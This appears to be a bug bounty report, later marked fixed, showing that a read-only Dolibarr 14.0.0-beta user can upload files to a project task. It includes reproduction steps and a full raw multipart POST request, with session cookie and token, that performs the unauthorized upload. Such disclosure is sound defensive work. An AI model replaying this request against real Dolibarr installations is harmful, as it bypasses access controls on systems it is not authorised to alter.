Improper Handling of Insufficient Privileges in dolibarr/dolibarr

Valid

Reported on

May 22nd 2021


💥 BUG

unprivileged user can upload file to a task associated with a project.

💥 IMPACT

user who has read-only access to a project can add file to task associated with this project

💥 TESTED VERSION

dolibarr 14.0.0-beta

💥 STEP TO REPRODUCE

1. First goto admin account and add user B as normal user .
Now give user B bellow permission for Project module .
-->Read projects and tasks (shared project and projects I'm contact for). Can also enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet).
So, user B can see only project that he is assigned to or owner and he cant modify any .

2. Now from admin account goto Project module and create a Project . \ Now admin add user B to this project as contributor .
Also admin added a Task to this project .

3. Now from user B account goto above project and then goto above created task using url like http://localhost/dolibarr-develop/htdocs/projet/tasks/document.php?id=1&withproject=1 .
Now here user B cant edit any property of this task .
Finally user B sent bellow request to add file to this task .

POST /dolibarr-develop/htdocs/projet/tasks/document.php?id=1&withproject=1&uploadform=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------244069172232519316093174824143
Content-Length: 1251
Origin: http://localhost
Connection: close
Referer: http://localhost/dolibarr-develop/htdocs/projet/tasks/document.php?id=1&withproject=1&uploadform=1
Cookie:  DOLSESSID_8e8881ad773ee74880c453666c22c288=kd3isa1fp3c53e419fgn79lilo
Upgrade-Insecure-Requests: 1
ACCOUNT: TEST2

-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="token"

$2y$10$tK..OGNlxaeIvPVQvMXyx.SeRU554JpFLtefFhZpG3vN9NgvfN9qK
-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="section_dir"


-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="section_id"

0
-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="sortfield"


-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="sortorder"


-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="max_file_size"

2097152
-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="userfile[]"; filename="al.html"
Content-Type: text/html


testttt

-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="sendit"

Upload
-----------------------------244069172232519316093174824143
Content-Disposition: form-data; name="savingdocmask"

TK2105-0001-__file__
-----------------------------244069172232519316093174824143--

Laurent
a year ago

Is this still true with 14.0.2 ?

Laurent Destailleur marked this as fixed with commit 2acb84 a year ago
Laurent Destailleur has been awarded the fix bounty
This vulnerability will not receive a CVE
to join this conversation